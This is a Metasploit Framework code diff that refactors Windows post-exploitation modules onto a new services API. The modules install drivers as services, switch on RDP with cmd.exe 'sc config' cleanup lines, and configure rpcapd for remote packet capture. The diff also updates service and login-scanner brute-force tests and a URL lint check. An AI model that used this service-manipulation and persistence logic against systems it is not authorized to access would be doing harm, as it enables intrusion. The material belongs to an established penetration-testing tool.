||||||
|
@ -77,9 +77,9 @@ class Metasploit3 < Msf::Post
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
inst = install_driver(driver: driver, start: start, name: name, error: error, service: service)
|
inst = install_driver(name, path: driver, starttype: start, error_control: error, service_type: service)
|
||||||
|
|
||||||
if inst
|
if inst == Windows::Error::SUCCESS
|
||||||
ss = service_start(name)
|
ss = service_start(name)
|
||||||
case ss
|
case ss
|
||||||
when Windows::Error::SUCCESS
|
when Windows::Error::SUCCESS
|
||||||
|
@ -94,30 +94,19 @@ class Metasploit3 < Msf::Post
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def install_driver(opts={})
|
def install_driver(name, opts={})
|
||||||
service_all_access = 0xF01FF
|
rc = service_create(name, opts)
|
||||||
service_type = SERVICE_TYPE[opts[:service]]
|
|
||||||
service_error_type = ERROR_TYPE[opts[:error]]
|
|
||||||
service_start_type = START_TYPE[opts[:start]]
|
|
||||||
advapi32 = client.railgun.advapi32
|
|
||||||
name = opts[:name]
|
|
||||||
# Default access: sc_manager_all_access (0xF003F)
|
|
||||||
ro = open_sc_manager()
|
|
||||||
|
|
||||||
rc = advapi32.CreateServiceA(ro, name, name, service_all_access, service_type, service_start_type, service_error_type, opts[:driver], nil, nil, nil, nil, nil)
|
if rc == Windows::Error::SUCCESS
|
||||||
close_sc_manager(ro)
|
|
||||||
|
|
||||||
if rc['GetLastError'] == Windows::Error::SUCCESS
|
|
||||||
print_status("Service object \"#{name}\" added to the Service Control Manager database.")
|
print_status("Service object \"#{name}\" added to the Service Control Manager database.")
|
||||||
close_sc_manager(rc['return'])
|
|
||||||
return true
|
return true
|
||||||
elsif rc['GetLastError'] == Windows::Error::SERVICE_EXISTS
|
elsif rc == Windows::Error::SERVICE_EXISTS
|
||||||
print_error("The specified service already exists.")
|
print_error("The specified service already exists.")
|
||||||
# Show ImagePath just to know if the service corresponds to the desired driver.
|
# Show ImagePath just to know if the service corresponds to the desired driver.
|
||||||
service = service_info(name)
|
service = service_info(name)
|
||||||
print_error("Path of driver file in \"#{name}\" service: #{service["Command"]}.")
|
print_error("Path of driver file in \"#{name}\" service: #{service[:path]}.")
|
||||||
else
|
else
|
||||||
print_error("There was an error opening the driver handler. GetLastError=#{rc['GetLastError']}.")
|
print_error("There was an error opening the driver handler. GetLastError=#{rc}.")
|
||||||
end
|
end
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
|
@ -84,17 +84,20 @@ class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
|
|
||||||
def enabletssrv(cleanup_rc)
|
def enabletssrv(cleanup_rc)
|
||||||
rdp_key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\TermService"
|
service_name = "termservice"
|
||||||
|
srv_info = service_info(service_name)
|
||||||
begin
|
begin
|
||||||
v2 = registry_getvaldata(rdp_key,"Start")
|
|
||||||
print_status "Setting Terminal Services service startup mode"
|
print_status "Setting Terminal Services service startup mode"
|
||||||
if v2 != 2
|
if srv_info[:starttype] != START_TYPE_AUTO
|
||||||
print_status "\tThe Terminal Services service is not set to auto, changing it to auto ..."
|
print_status "\tThe Terminal Services service is not set to auto, changing it to auto ..."
|
||||||
service_change_startup("TermService","auto")
|
unless (service_change_config(service_name, {:starttype => "START_TYPE_AUTO"}) == Windows::Error::SUCCESS)
|
||||||
|
print_error("\tUnable to change start type to Auto")
|
||||||
|
end
|
||||||
file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c sc config termservice start= disabled\"")
|
file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c sc config termservice start= disabled\"")
|
||||||
cmd_exec("sc", "start termservice", 30)
|
if (service_start(service_name) == Windows::Error::SUCCESS)
|
||||||
|
print_good("\tRDP Service Started")
|
||||||
|
end
|
||||||
file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c sc stop termservice\"")
|
file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c sc stop termservice\"")
|
||||||
|
|
||||||
else
|
else
|
||||||
print_status "\tTerminal Services service is already set to auto"
|
print_status "\tTerminal Services service is already set to auto"
|
||||||
end
|
end
|
||||||
|
|
|
@ -9,7 +9,7 @@ class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
include Msf::Post::File
|
include Msf::Post::File
|
||||||
include Msf::Post::Windows::Registry
|
include Msf::Post::Windows::Registry
|
||||||
include Msf::Post::Windows::WindowsServices
|
include Msf::Post::Windows::Services
|
||||||
include Msf::Post::Windows::Priv
|
include Msf::Post::Windows::Priv
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info={})
|
||||||
|
@ -41,16 +41,16 @@ class Metasploit3 < Msf::Post
|
||||||
serv = service_info("rpcapd")
|
serv = service_info("rpcapd")
|
||||||
print_status("Checking if machine #{sysinfo['Computer']} has rpcapd service")
|
print_status("Checking if machine #{sysinfo['Computer']} has rpcapd service")
|
||||||
|
|
||||||
if serv['Name'] !~ /remote/i
|
if serv[:display] !~ /remote/i
|
||||||
print_error("This machine doesn't seem to have the rpcapd service")
|
print_error("This machine doesn't seem to have the rpcapd service")
|
||||||
else
|
else
|
||||||
print_status("Rpcap service found: #{serv['Name']}")
|
print_status("Rpcap service found: #{serv[:display]}")
|
||||||
reg=registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\Services\\rpcapd","Start")
|
|
||||||
# TODO: check if this works on x64
|
start_type = serv[:starttype]
|
||||||
prog=session.sys.config.getenv('ProgramFiles') << "\\winpcap\\rpcapd.exe"
|
prog = get_env('ProgramFiles') << "\\winpcap\\rpcapd.exe"
|
||||||
if reg != 2
|
if start_type != START_TYPE_AUTO
|
||||||
print_status("Setting rpcapd as 'auto' service")
|
print_status("Setting rpcapd as 'auto' service")
|
||||||
service_change_startup("rpcapd","auto")
|
service_change_startup("rpcapd", START_TYPE_AUTO)
|
||||||
end
|
end
|
||||||
if datastore['ACTIVE']==true
|
if datastore['ACTIVE']==true
|
||||||
if datastore['RHOST']==nil
|
if datastore['RHOST']==nil
|
||||||
|
@ -76,22 +76,15 @@ class Metasploit3 < Msf::Post
|
||||||
end
|
end
|
||||||
|
|
||||||
def run_rpcapd(p)
|
def run_rpcapd(p)
|
||||||
|
service_name = "rpcapd"
|
||||||
begin
|
begin
|
||||||
cmd_exec("sc","config rpcapd binpath= \"#{p}\" ",30)
|
if service_restart(service_name)
|
||||||
result=service_start("rpcapd")
|
print_good("Rpcapd started successfully: #{p}")
|
||||||
case result
|
else
|
||||||
when 0
|
print_error("There was an error restarting rpcapd.exe.")
|
||||||
print_good("Rpcapd started successfully: #{p}")
|
|
||||||
when 1
|
|
||||||
print_status("Rpcapd is already running. Restarting service ...")
|
|
||||||
if service_stop("rpcapd") and service_start("rpcapd")
|
|
||||||
print_good("Service restarted successfully: #{p}")
|
|
||||||
else
|
|
||||||
print_error("There was an error restarting rpcapd.exe. Try to run it again")
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
rescue::Exception => e
|
rescue ::Exception => e
|
||||||
print_status("The following Error was encountered: #{e.class} #{e}")
|
print_error("The following Error was encountered: #{e.class} #{e}")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -98,7 +98,7 @@ class Metasploit3 < Msf::Post
|
||||||
end
|
end
|
||||||
|
|
||||||
result = client.railgun.netapi32.NetServerEnum(nil,101,4,-1,4,4,lookuptype,datastore['DOMAIN'],0)
|
result = client.railgun.netapi32.NetServerEnum(nil,101,4,-1,4,4,lookuptype,datastore['DOMAIN'],0)
|
||||||
# print_error(result.inspect)
|
|
||||||
if result['totalentries'] == 0
|
if result['totalentries'] == 0
|
||||||
print_error("No systems found of that type")
|
print_error("No systems found of that type")
|
||||||
return
|
return
|
||||||
|
|
|
@ -1,6 +1,6 @@
|
||||||
##
|
##
|
||||||
#
|
#
|
||||||
# This plugin requires Metasploit: http//metasploit.com/download
|
# This plugin requires Metasploit: http://metasploit.com/download
|
||||||
# Current source: https://github.com/rapid7/metasploit-framework
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
#
|
#
|
||||||
##
|
##
|
||||||
|
|
|
@ -12,12 +12,33 @@ describe Metasploit::Framework::LoginScanner::Base do
|
||||||
end
|
end
|
||||||
}
|
}
|
||||||
|
|
||||||
subject(:login_scanner) { base_class.new }
|
let(:options) {
|
||||||
|
|
||||||
|
{
|
||||||
|
connection_timeout: 1,
|
||||||
|
cred_details: ["user", "pass"],
|
||||||
|
host: '1.2.3.4',
|
||||||
|
port: 4444,
|
||||||
|
stop_on_success: true,
|
||||||
|
bruteforce_speed: 5,
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
subject(:login_scanner) {
|
||||||
|
base_class.new(options)
|
||||||
|
}
|
||||||
|
|
||||||
it { should respond_to :bruteforce_speed }
|
it { should respond_to :bruteforce_speed }
|
||||||
|
|
||||||
context 'validations' do
|
context 'validations' do
|
||||||
|
|
||||||
|
it 'is valid!' do
|
||||||
|
expect(login_scanner).to be_valid
|
||||||
|
end
|
||||||
|
|
||||||
context 'bruteforce_speed' do
|
context 'bruteforce_speed' do
|
||||||
|
|
||||||
it 'is not valid for a non-number' do
|
it 'is not valid for a non-number' do
|
||||||
login_scanner.bruteforce_speed = "a"
|
login_scanner.bruteforce_speed = "a"
|
||||||
expect(login_scanner).to_not be_valid
|
expect(login_scanner).to_not be_valid
|
||||||
|
@ -36,11 +57,17 @@ describe Metasploit::Framework::LoginScanner::Base do
|
||||||
expect(login_scanner.errors[:bruteforce_speed]).to include "must be greater than or equal to 0"
|
expect(login_scanner.errors[:bruteforce_speed]).to include "must be greater than or equal to 0"
|
||||||
end
|
end
|
||||||
|
|
||||||
|
it 'is nil' do
|
||||||
|
login_scanner.bruteforce_speed = nil
|
||||||
|
expect(login_scanner).to be_valid
|
||||||
|
end
|
||||||
|
|
||||||
it 'is not greater than five' do
|
it 'is not greater than five' do
|
||||||
login_scanner.bruteforce_speed = "6"
|
login_scanner.bruteforce_speed = "6"
|
||||||
expect(login_scanner).to_not be_valid
|
expect(login_scanner).to_not be_valid
|
||||||
expect(login_scanner.errors[:bruteforce_speed]).to include "must be less than or equal to 5"
|
expect(login_scanner.errors[:bruteforce_speed]).to include "must be less than or equal to 5"
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
it { should respond_to :sleep_time }
|
it { should respond_to :sleep_time }
|
||||||
|
|
|
@ -91,6 +91,15 @@ describe Msf::HTTP::Wordpress::Version do
|
||||||
it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Detected) }
|
it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Detected) }
|
||||||
end
|
end
|
||||||
|
|
||||||
|
context 'when version from readme has arbitrary leading whitespace' do
|
||||||
|
let(:wp_code) { 200 }
|
||||||
|
let(:wp_fixed_version) { '1.0.1' }
|
||||||
|
let(:wp_body) { 'stable tag: 1.0.0' }
|
||||||
|
it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Appears) }
|
||||||
|
let(:wp_body) { 'stable tag:1.0.0' }
|
||||||
|
it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Appears) }
|
||||||
|
end
|
||||||
|
|
||||||
context 'when installed version is vulnerable' do
|
context 'when installed version is vulnerable' do
|
||||||
let(:wp_code) { 200 }
|
let(:wp_code) { 200 }
|
||||||
let(:wp_fixed_version) { '1.0.1' }
|
let(:wp_fixed_version) { '1.0.1' }
|
||||||
|
|
|
@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
# =( need more targets and perhaps more OS specific return values OS specific would be preferred
|
# =( need more targets and perhaps more OS specific return values OS specific would be preferred
|
||||||
|
|
||||||
include Msf::Exploit::Remote::HttpClient
|
include Msf::Exploit::Remote::HttpClient
|
||||||
include Msf::Exploit::CmdStagerVBS
|
include Rex::Exploitation::CmdStagerVBS
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
|
|
|
@ -13,7 +13,6 @@ require 'module_test'
|
||||||
class Metasploit3 < Msf::Post
|
class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
include Msf::Post::Windows::Services
|
include Msf::Post::Windows::Services
|
||||||
|
|
||||||
include Msf::ModuleTest::PostTest
|
include Msf::ModuleTest::PostTest
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info={})
|
||||||
|
@ -22,7 +21,6 @@ class Metasploit3 < Msf::Post
|
||||||
'Description' => %q{ This module will test windows services methods within a shell},
|
'Description' => %q{ This module will test windows services methods within a shell},
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' => [ 'kernelsmith', 'egypt' ],
|
'Author' => [ 'kernelsmith', 'egypt' ],
|
||||||
'Version' => '$Revision: 11663 $',
|
|
||||||
'Platform' => [ 'windows' ],
|
'Platform' => [ 'windows' ],
|
||||||
'SessionTypes' => [ 'meterpreter', 'shell' ]
|
'SessionTypes' => [ 'meterpreter', 'shell' ]
|
||||||
))
|
))
|
||||||
|
@ -44,19 +42,19 @@ class Metasploit3 < Msf::Post
|
||||||
it "should start #{datastore["SSERVICE"]}" do
|
it "should start #{datastore["SSERVICE"]}" do
|
||||||
ret = true
|
ret = true
|
||||||
results = service_start(datastore['SSERVICE'])
|
results = service_start(datastore['SSERVICE'])
|
||||||
if results != 0
|
if results != Windows::Error::SUCCESS
|
||||||
# Failed the first time, try to stop it first, then try again
|
# Failed the first time, try to stop it first, then try again
|
||||||
service_stop(datastore['SSERVICE'])
|
service_stop(datastore['SSERVICE'])
|
||||||
results = service_start(datastore['SSERVICE'])
|
results = service_start(datastore['SSERVICE'])
|
||||||
end
|
end
|
||||||
ret &&= (results == 0)
|
ret &&= (results == Windows::Error::SUCCESS)
|
||||||
|
|
||||||
ret
|
ret
|
||||||
end
|
end
|
||||||
it "should stop #{datastore["SSERVICE"]}" do
|
it "should stop #{datastore["SSERVICE"]}" do
|
||||||
ret = true
|
ret = true
|
||||||
results = service_stop(datastore['SSERVICE'])
|
results = service_stop(datastore['SSERVICE'])
|
||||||
ret &&= (results == 0)
|
ret &&= (results == Windows::Error::SUCCESS)
|
||||||
|
|
||||||
ret
|
ret
|
||||||
end
|
end
|
||||||
|
@ -69,24 +67,24 @@ class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
ret &&= results.kind_of? Array
|
ret &&= results.kind_of? Array
|
||||||
ret &&= results.length > 0
|
ret &&= results.length > 0
|
||||||
ret &&= results.include? datastore["QSERVICE"]
|
ret &&= results.select{|service| service[:name] == datastore["QSERVICE"]}
|
||||||
|
|
||||||
ret
|
ret
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def test_info
|
def test_info
|
||||||
it "should return info on a given service" do
|
it "should return info on a given service #{datastore["QSERVICE"]}" do
|
||||||
ret = true
|
ret = true
|
||||||
results = service_info(datastore['QSERVICE'])
|
results = service_info(datastore['QSERVICE'])
|
||||||
|
|
||||||
ret &&= results.kind_of? Hash
|
ret &&= results.kind_of? Hash
|
||||||
if ret
|
if ret
|
||||||
ret &&= results.has_key? "Name"
|
ret &&= results.has_key? :display
|
||||||
ret &&= (results["Name"] == "Windows Management Instrumentation")
|
ret &&= (results[:display] == "Windows Management Instrumentation")
|
||||||
ret &&= results.has_key? "Startup"
|
ret &&= results.has_key? :starttype
|
||||||
ret &&= results.has_key? "Command"
|
ret &&= results.has_key? :path
|
||||||
ret &&= results.has_key? "Credentials"
|
ret &&= results.has_key? :startname
|
||||||
end
|
end
|
||||||
|
|
||||||
ret
|
ret
|
||||||
|
@ -94,40 +92,157 @@ class Metasploit3 < Msf::Post
|
||||||
end
|
end
|
||||||
|
|
||||||
def test_create
|
def test_create
|
||||||
it "should create a service" do
|
it "should create a service #{datastore["NSERVICE"]}" do
|
||||||
mode = case datastore["MODE"]
|
mode = case datastore["MODE"]
|
||||||
when "disable"; 4
|
when "disable"; START_TYPE_DISABLED
|
||||||
when "manual"; 3
|
when "manual"; START_TYPE_MANUAL
|
||||||
when "auto"; 2
|
when "auto"; START_TYPE_AUTO
|
||||||
else; 2
|
else; START_TYPE AUTO
|
||||||
end
|
end
|
||||||
ret = service_create(datastore['NSERVICE'],datastore['DNAME'],datastore['BINPATH'],mode)
|
|
||||||
|
|
||||||
ret
|
ret = service_create(datastore['NSERVICE'],
|
||||||
|
display: datastore['DNAME'],
|
||||||
|
path: datastore['BINPATH'],
|
||||||
|
starttype: mode)
|
||||||
|
|
||||||
|
ret == Windows::Error::SUCCESS
|
||||||
end
|
end
|
||||||
|
|
||||||
it "should return info on the newly-created service" do
|
it "should return info on the newly-created service #{datastore["NSERVICE"]}" do
|
||||||
ret = true
|
ret = true
|
||||||
results = service_info(datastore['NSERVICE'])
|
results = service_info(datastore['NSERVICE'])
|
||||||
|
|
||||||
ret &&= results.kind_of? Hash
|
ret &&= results.kind_of? Hash
|
||||||
ret &&= results.has_key? "Name"
|
ret &&= results.has_key? :display
|
||||||
ret &&= (results["Name"] == datastore["DNAME"])
|
ret &&= (results[:display] == datastore["DNAME"])
|
||||||
ret &&= results.has_key? "Startup"
|
ret &&= results.has_key? :starttype
|
||||||
ret &&= (results["Startup"].downcase == datastore["MODE"])
|
ret &&= (START_TYPE[results[:starttype]].downcase == datastore["MODE"])
|
||||||
ret &&= results.has_key? "Command"
|
ret &&= results.has_key? :path
|
||||||
ret &&= results.has_key? "Credentials"
|
ret &&= results.has_key? :startname
|
||||||
|
|
||||||
ret
|
ret
|
||||||
end
|
end
|
||||||
|
|
||||||
it "should delete the new service" do
|
it "should delete the new service #{datastore["NSERVICE"]}" do
|
||||||
ret = service_delete(datastore['NSERVICE'])
|
ret = service_delete(datastore['NSERVICE'])
|
||||||
|
|
||||||
|
ret == Windows::Error::SUCCESS
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def test_status
|
||||||
|
it "should return status on a given service #{datastore["QSERVICE"]}" do
|
||||||
|
ret = true
|
||||||
|
results = service_status(datastore['QSERVICE'])
|
||||||
|
|
||||||
|
ret &&= results.kind_of? Hash
|
||||||
|
if ret
|
||||||
|
ret &&= results.has_key? :state
|
||||||
|
ret &&= (results[:state] > 0 && results[:state] < 8)
|
||||||
|
end
|
||||||
|
|
||||||
ret
|
ret
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def test_change
|
||||||
|
service_name = "a" << Rex::Text.rand_text_alpha(5)
|
||||||
|
display_name = service_name
|
||||||
|
|
||||||
|
it "should modify config on a given service #{service_name}" do
|
||||||
|
ret = true
|
||||||
|
|
||||||
|
results = service_create(service_name,
|
||||||
|
display: display_name,
|
||||||
|
path: datastore['BINPATH'],
|
||||||
|
starttype: START_TYPE_DISABLED)
|
||||||
|
|
||||||
|
ret &&= (results == Windows::Error::SUCCESS)
|
||||||
|
results = service_status(service_name)
|
||||||
|
ret &&= results.kind_of? Hash
|
||||||
|
if ret
|
||||||
|
original_display = results[:display]
|
||||||
|
results = service_change_config(service_name, {:display => Rex::Text.rand_text_alpha(5)})
|
||||||
|
ret &&= (results == Windows::Error::SUCCESS)
|
||||||
|
|
||||||
|
results = service_info(service_name)
|
||||||
|
ret &&= (results[:display] != original_display)
|
||||||
|
|
||||||
|
service_delete(service_name)
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
ret
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def test_restart_disabled
|
||||||
|
service_name = "a" << Rex::Text.rand_text_alpha(5)
|
||||||
|
display_name = service_name
|
||||||
|
|
||||||
|
it "should start a disabled service #{service_name}" do
|
||||||
|
ret = true
|
||||||
|
results = service_create(service_name,
|
||||||
|
display: display_name,
|
||||||
|
path: datastore['BINPATH'],
|
||||||
|
starttype: START_TYPE_DISABLED)
|
||||||
|
|
||||||
|
ret &&= (results == Windows::Error::SUCCESS)
|
||||||
|
if ret
|
||||||
|
begin
|
||||||
|
results = service_restart(service_name)
|
||||||
|
ensure
|
||||||
|
service_delete(service_name)
|
||||||
|
end
|
||||||
|
ret &&= results
|
||||||
|
end
|
||||||
|
|
||||||
|
ret
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def test_restart_start
|
||||||
|
service_name = datastore['SSERVICE']
|
||||||
|
|
||||||
|
it "should restart a started service #{service_name}" do
|
||||||
|
ret = true
|
||||||
|
|
||||||
|
results = service_start(service_name)
|
||||||
|
ret &&= (results == Windows::Error::SUCCESS)
|
||||||
|
if ret
|
||||||
|
results = service_restart(service_name)
|
||||||
|
ret &&= results
|
||||||
|
end
|
||||||
|
|
||||||
|
ret
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def test_noaccess
|
||||||
|
it "should raise a runtime exception if no access to service" do
|
||||||
|
ret = false
|
||||||
|
begin
|
||||||
|
results = service_stop("gpsvc")
|
||||||
|
rescue RuntimeError
|
||||||
|
ret = true
|
||||||
|
end
|
||||||
|
|
||||||
|
ret
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def test_no_service
|
||||||
|
it "should raise a runtime exception if services doesnt exist" do
|
||||||
|
ret = false
|
||||||
|
begin
|
||||||
|
results = service_status(Rex::Text.rand_text_alpha(5))
|
||||||
|
rescue RuntimeError
|
||||||
|
ret = true
|
||||||
|
end
|
||||||
|
|
||||||
|
ret
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
=begin
|
=begin
|
||||||
def run
|
def run
|
||||||
|
|
|
@ -593,7 +593,7 @@ class Msftidy
|
||||||
# This module then got copied and committed 20+ times and is used in numerous other places.
|
# This module then got copied and committed 20+ times and is used in numerous other places.
|
||||||
# This ensures that this stops.
|
# This ensures that this stops.
|
||||||
def check_invalid_url_scheme
|
def check_invalid_url_scheme
|
||||||
test = @source.scan(/^#.+http\/\/metasploit.com/)
|
test = @source.scan(/^#.+http\/\/(?:www\.)?metasploit.com/)
|
||||||
unless test.empty?
|
unless test.empty?
|
||||||
test.each { |item|
|
test.each { |item|
|
||||||
info("Invalid URL: #{item}")
|
info("Invalid URL: #{item}")
|
||||||
|
|
Loading…
Reference in New Issue